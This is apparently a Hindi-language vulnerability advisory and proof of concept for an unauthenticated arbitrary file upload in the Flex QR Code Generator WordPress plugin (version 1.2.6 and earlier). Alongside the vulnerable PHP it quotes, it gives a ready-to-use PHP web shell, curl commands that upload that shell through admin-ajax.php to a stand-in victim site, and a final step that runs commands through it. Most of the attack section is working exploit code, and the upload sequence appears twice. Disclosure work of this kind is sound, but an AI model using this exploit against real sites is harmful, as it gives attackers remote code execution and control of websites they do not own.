
Flex QR Code Generator <= 1.2.6 - अप्रमाणित मनमानी फ़ाइल अपलोड
Flex QR Code Generator प्लगइन अपने update_qr_code AJAX एंडपॉइंट में उपयोगकर्ता अनुमति को मान्य नहीं करता है और फ़ाइल अपलोड को सैनिटाइज़ नहीं करता है, जिससे अप्रमाणिकृत हमलावर PHP स्क्रिप्ट सहित मनमानी फ़ाइलें अपलोड कर सकते हैं, जिसके परिणामस्वरूप रिमोट कोड निष्पादन होता है।
# PHP वेबशेल अपलोड करें
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-F "action=flexqr_update_qr" \
-F "qrId=1" \
-F "qrData={\"data\":\"https://example.com\"}" \
-F "[email protected]"
यह भेद्यता FlexQrCodeGenerator वर्ग की update_qr_code विधि में मौजूद है। प्लगइन अप्रमाणिकृत उपयोगकर्ताओं के लिए AJAX एंडपॉइंट पंजीकृत करता है, जिससे कोई भी आगंतुक मनमानी फ़ाइलें अपलोड कर सकता है जो WordPress अपलोड निर्देशिका में संग्रहीत हो जाती हैं।
भेद्य कोड /qr-code-generator.php:457-589 से:
public function update_qr_code()
{
if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
// ... सत्यापन कोड ...
// लोगो (फ़ाइल अपलोड) को संभालें
if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
$logo = $_FILES['logo'];
$upload_dir = wp_upload_dir();
$file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
$file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
$new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
$file_path = $upload_dir['path'] . '/' . $new_file_name;
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
// फ़ाइल सफलतापूर्वक अपलोड हुई
}
}
}
}
फ़ाइल निष्पादन /qr-code-generator.php:504 से:
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
$logo_url = $upload_dir['url'] . '/' . $new_file_name;
$logo_url = str_replace(home_url(), '', $logo_url);
$update_data['logo_url'] = $logo_url;
}
अप्रमाणिकृत पहुँच /qr-code-generator.php:41-42 से:
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-d "action=flexqr_fetch_qr_code" \
-d "per_page=10" \
-d "page=1"
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-F "action=flexqr_update_qr" \
-F "qrId=1" \
-F "qrData={\"data\":\"https://example.com\"}" \
-F "[email protected]"
shell_1.php के लिए अपलोड निर्देशिका की जाँच करके?cmd=whoami के साथ जाकर